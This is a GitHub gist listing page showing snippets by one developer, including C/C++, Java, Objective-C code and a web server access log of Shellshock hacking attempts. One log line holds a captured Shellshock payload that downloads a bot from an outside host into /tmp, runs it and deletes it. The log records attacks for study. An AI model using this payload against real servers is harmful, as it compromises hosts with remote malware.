Skip to content

Instantly share code, notes, and snippets.

View jweyrich's full-sized avatar
:octocat:
Making some lives easier and happier!

Jardel Weyrich jweyrich

:octocat:
Making some lives easier and happier!
View GitHub Profile
@jweyrich
jweyrich / bower_failure
Last active August 29, 2015 14:12
Bower 1.3.12 running on an empty environment without HOME and USERNAME variables
[root@localhost python]# env -i PATH=/sbin:/bin:/usr/sbin:/usr/bin sh test.sh
1.3.12
PATH
PWD
SHLVL
_
path.js:360
throw new TypeError('Arguments to path.join must be strings');
^
@jweyrich
jweyrich / shellshock-access.log
Last active August 29, 2015 14:07
Shellshock hacking attempts via HTTP
213.203.234.224 - - [28/Sep/2014:10:22:39 -0300] "GET / HTTP/1.0" 200 21 "-" "-"
213.203.234.224 redacted-host - [28/Sep/2014:10:23:10 -0300] "GET / HTTP/1.0" 200 21 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl - o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""
218.213.197.130 - - [28/Sep/2014:10:48:47 -0300] "GET / HTTP/1.0" 200 21 "-" "-"
211.25.77.26 - - [28/Sep/2014:14:22:08 -0300] "GET /tmUnblock.cgi HTTP/1.1" 400 349 "-" "-"
178.140.43.12 - - [28/Sep/2014:14:28:53 -0300] "GET /tmUnblock.cgi HTTP/1.1" 400 349 "-" "-"
216.67.154.90 - - [28/Sep/2014:15:45:20 -0300] "GET /tmUnblock.cgi HTTP/1.1" 400 349 "-" "-"
173.45.100.18 redacted-host - [28/Sep/2014:16:46:02 -0300] "GET /cgi-bin/ HTTP/1.1" 404 345 "-" "-"
66.249.65.144 redacted-host - [28/Sep/2014:21:34:32 -0300] "GET /robots.txt HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.144 redacted-host - [28/Sep/2014:21:34:32 -030
@jweyrich
jweyrich / example1.cpp
Last active November 10, 2017 18:22
Game engine draft
x=0,y=0,z=0
rootNode = 50, 50, 0 (world = 50,50,0)
card2 = 10, 0, 0 (world = 60,50,0)
salvou x=0,y=0,z=0
salvou x=50,y=50,z=0
//
// Compile and run:
// LDFLAGS="-lpcre" make pcre_ucp_test && ./pcre_ucp_test
//
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <pcre.h>
@jweyrich
jweyrich / output.c
Created March 15, 2014 05:32
quick & simple printing with indentation level (spaces, not tabs)
#include <stdio.h>
#include <stdarg.h>
void outputf(int level, const char *format, ...) {
FILE *stream = stdout;
static const int tab_size = 4;
const int width = level * tab_size + 1;
va_list args;
va_start(args, format);
@jweyrich
jweyrich / AdminNotifierTask.java
Last active December 14, 2016 13:38
Example of a Quartz job that sends email notifications using FreeMarker templates from an application built with VRaptor. Dependencies: - vraptor-3.5.3 - vraptor-tasks-1.1.0 - vraptor-freemarker-1.1.2
package ...;
import br.com.caelum.vraptor.ioc.ApplicationScoped;
import br.com.caelum.vraptor.ioc.Container;
import br.com.caelum.vraptor.tasks.scheduler.Scheduled;
import br.com.caelum.vraptor.tasks.Task;
import java.util.List;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@jweyrich
jweyrich / TransactionalTask.java
Last active December 29, 2015 16:09
Quick and ugly support for transactional tasks using vraptor-tasks and Hibernate.
package ...;
import br.com.caelum.vraptor.tasks.Task;
import javax.inject.Inject;
import org.hibernate.HibernateException;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@jweyrich
jweyrich / Impl.h
Created March 6, 2013 15:15
Block using parameters with concrete types Refs https://twitter.com/Cocoanetics/status/309299850808283136
@interface SenTestCase : NSObject
@end
@interface SpecificSenTestCase : SenTestCase
@property (nonatomic, assign) NSUInteger param;
@end
typedef void (^DTSenTestCaseBlock)(SenTestCase *testCase);
@interface Impl : NSObject
@jweyrich
jweyrich / hdio.cpp
Last active January 14, 2018 14:26
Retrieve Hard Disk Model, Serial, UUID
//
// Compile:
// CXXFLAGS=-lblkid make hdio
// Run:
// sudo ./hdio /dev/<device>
//
// Author: Jardel Weyrich (jweyrich at gmail dot com)
//
#include <blkid/blkid.h>
@jweyrich
jweyrich / popen_streambuf
Last active April 18, 2022 08:34
popen + streambuf
#include <cstdio>
#include <iostream>
#include <fstream>
#define BUFFER_SIZE 1024
class popen_streambuf : public std::streambuf {
public:
popen_streambuf()
: _fp(NULL)